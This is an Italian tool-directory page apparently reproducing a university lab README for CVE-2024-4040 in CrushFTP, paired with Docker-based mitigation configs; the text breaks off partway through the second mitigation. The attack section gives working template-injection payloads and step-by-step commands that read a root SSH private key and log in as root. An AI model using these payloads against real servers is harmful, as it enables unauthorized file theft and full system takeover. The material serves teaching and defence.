Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CrushFTP-CVE-2024-4040-Proof-of-Concept — Exploit proof-of-concept per CVE-2024-4040, che dimostra SSTI non autenticato e lettura di file locali in CrushFTP, con laboratorio Docker e strategie di mitigazione. | Kitploit
Strumenti/GitHubGitHub/sidjaz/crushftp-cve-2024-4040-proof-of-concept
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubsidjaz/crushftp-cve-2024-4040-proof-of-concept

CrushFTP-CVE-2024-4040-Proof-of-Concept

Exploit proof-of-concept per CVE-2024-4040, che dimostra SSTI non autenticato e lettura di file locali in CrushFTP, con laboratorio Docker e strategie di mitigazione.

Vedi Repository
54 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-4040 Vulnerabilità — CrushFTP SSTI / LFI Proof of Concept

Solo per uso educativo e in laboratorio autorizzato.
Per il modulo CS443 Sicurezza del Software e dei Sistemi. Il laboratorio è stato svolto in un ambiente Docker locale controllato.


Riepilogo della Vulnerabilità

CampoDettaglio
CVECVE-2024-4040
Software AffettoCrushFTP < 10.7.1 (branch v10) / < 11.1.0 (branch v11)
Tipo di VulnerabilitàServer-Side Template Injection (SSTI) → Lettura di File Locali Non Autenticata
Punteggio CVSS9.8 Critico
ImpattoAttaccanti non autenticati possono leggere file arbitrari dal filesystem del server

Il WebInterface di CrushFTP valuta le espressioni template nel parametro path del comando zip senza sanificazione. Un attaccante non autenticato può ottenere cookie di sessione anonimi, quindi utilizzare tali cookie per passare payload template ({working_dir}, <INCLUDE>…</INCLUDE>) che il server valuta e restituisce — consentendo la lettura arbitraria di file sull'host.


Ambiente di Laboratorio

ComponenteValore
Targethttp://localhost:8080
Versione CrushFTP Base PoC10.3.0 (intenzionalmente vulnerabile)
Ambiente di Test Mitigazione 3Contenitore separato con CrushFTP 11.x (branch corretto)
Porta SSH (contenitore)2222 → 22
Credenziali Adminadmin / admin
Runtime del ContenitoreDocker (Compose)

Prerequisiti

pip install requests rich

Script

ScriptFonteScopo
crushed.pyStuub/CVE-2024-4040-SSTI-LFI-PoCExploit SSTI/LFI completo — furto di sessione, lettura arbitraria di file
recon.pyQuesto repositoryRilevamento versione, sonda SSTI live, conferma vulnerabilità

Procedura del Proof of Concept

Passo 1 — Avvia il Laboratorio

docker-compose up -d

Attendi circa 10 secondi affinché CrushFTP si inizializzi completamente prima di eseguire gli script. Non è richiesto un passaggio di ricognizione separato qui perché crushed.py verifica già se lo sfruttamento è possibile durante l'esecuzione.


Passo 2 — Ruba la Chiave Privata SSH tramite LFI

python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa

Lo script:

  1. Ottiene una sessione anonima CrushAuth / currentAuth da /WebInterface/
  2. Usa SSTI per confermare la valutazione del template e divulgare l'hostname del server
  3. Usa {working_dir} per risolvere la directory di installazione di CrushFTP
  4. Usa <INCLUDE>/root/.ssh/id_rsa</INCLUDE> per leggere il file target
  5. Stampa il contenuto grezzo del file su stdout

Copia il blocco della chiave privata dall'output (tutto da -----BEGIN OPENSSH PRIVATE KEY----- a -----END OPENSSH PRIVATE KEY-----).


Passo 3 — Salva la Chiave Rubata

cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<paste key from output>
-----END OPENSSH PRIVATE KEY-----
EOF

chmod 600 stolen_id_rsa

Passo 4 — SSH nel Contenitore come Root

ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no

Passo 5 — Conferma l'Accesso Root

whoami
# Previsto: root

id
# Previsto: uid=0(root) gid=0(root) groups=0(root)

hostname
# Previsto: <id_contenitore>

Diagramma della Catena di Attacco

Attaccante non autenticato
        │
        ▼
GET /WebInterface/          ← ottiene cookie anonimi CrushAuth + currentAuth
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={hostname}          ← SSTI confermata — template valutato dal server
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={working_dir}       ← rivela il percorso assoluto di installazione
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE>   ← lettura arbitraria di file
        │
        ▼
SSH -i stolen_id_rsa root@localhost -p 2222    ← shell root completa

Problemi Noti Principali in crushed.py

ProblemaPosizioneDettagli
Dipendenza mancanteRighe 6–9Richiede pip install rich prima dell'esecuzione
Parsing XML fragileRighe 86, 140Crashes su risposte server non XML; nessuna gestione ParseError
Regex del token troppo restrittivaRighe 160–161Il pattern CrushAuth=…; currentAuth=… potrebbe non corrispondere a tutti i formati sessions.obj
Solo HTTP 404Riga 53Il recupero dei cookie riesce solo su 404; passa silenziosamente su altri codici di stato

Strategie di Mitigazione

Mitigazione 1 — Web Application Firewall (NGINX + ModSecurity)

Panoramica

Un WAF agisce come proxy inverso che ispeziona il traffico HTTP/S in entrata prima che raggiunga CrushFTP. Utilizzando NGINX con ModSecurity, le richieste malevole che sfruttano CVE-2024-4040 vengono bloccate al confine della rete senza modificare CrushFTP stesso.

Come Mitiga CVE-2024-4040

  • Blocca i pattern di path traversal (ad esempio, ../, %2e%2e) negli URI delle richieste e nei cookie
  • Impedisce che richieste di escape VFS non autenticate raggiungano CrushFTP
  • Registra e nega i payload sospetti prima che colpiscano l'applicazione

Configurazione Docker

Usa Mitigation 1/docker-compose.yaml:

services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

Configurazione NGINX

Usa Mitigation 1/nginx.conf:

worker_processes 1;

events {
    worker_connections 1024;
}

http {
    # Enable ModSecurity
    modsecurity on;
    modsecurity_rules_file /etc/modsecurity.d/setup.conf;

    upstream crushftp {
        server crushftp:8080;
    }

    server {
        listen 80;
        server_name localhost;

        # Proxy all traffic to CrushFTP
        location / {
            proxy_pass http://crushftp;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $scheme;
        }

        # Return 403 for blocked requests
        error_page 403 /403.html;
        location = /403.html {
            return 403 '{"error": "Request blocked by WAF"}';
        }
    }
}

Flusso del Traffico

Attacker -> NGINX WAF (port 80) -> blocks malicious -> 403 Forbidden
                             -> forwards clean -> CrushFTP:8080

Limitazioni

  • Non corregge la causa principale - CrushFTP rimane vulnerabile se il WAF viene bypassato
  • Richiede aggiornamenti delle regole man mano che gli attaccanti sviluppano tecniche di offuscamento

Mitigazione 2 — Disabilita l'Accesso degli Utenti Anonimi

Panoramica

CVE-2024-4040 è sfruttabile senza autenticazione. In questo laboratorio, l'accesso di tipo anonimo viene bloccato a livello di NGINX richiedendo un header Authorization prima di inoltrare le route sensibili a CrushFTP.

Come Mitiga CVE-2024-4040

  • Script exploit come crushed.py si basano sull'accesso non autenticato; le richieste senza credenziali vengono respinte con 401
  • Le richieste a /WebInterface/ e / vengono negate a meno che non siano presenti dati di autenticazione
  • Riduce l'esposizione degli endpoint vulnerabili agli utenti non autenticati

Configurazione Docker (Esatta da Mitigation 2/docker-compose.yaml)

services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

Politica NGINX (Esatta da Mitigation 2/nginx.conf)

Scarica lo strumento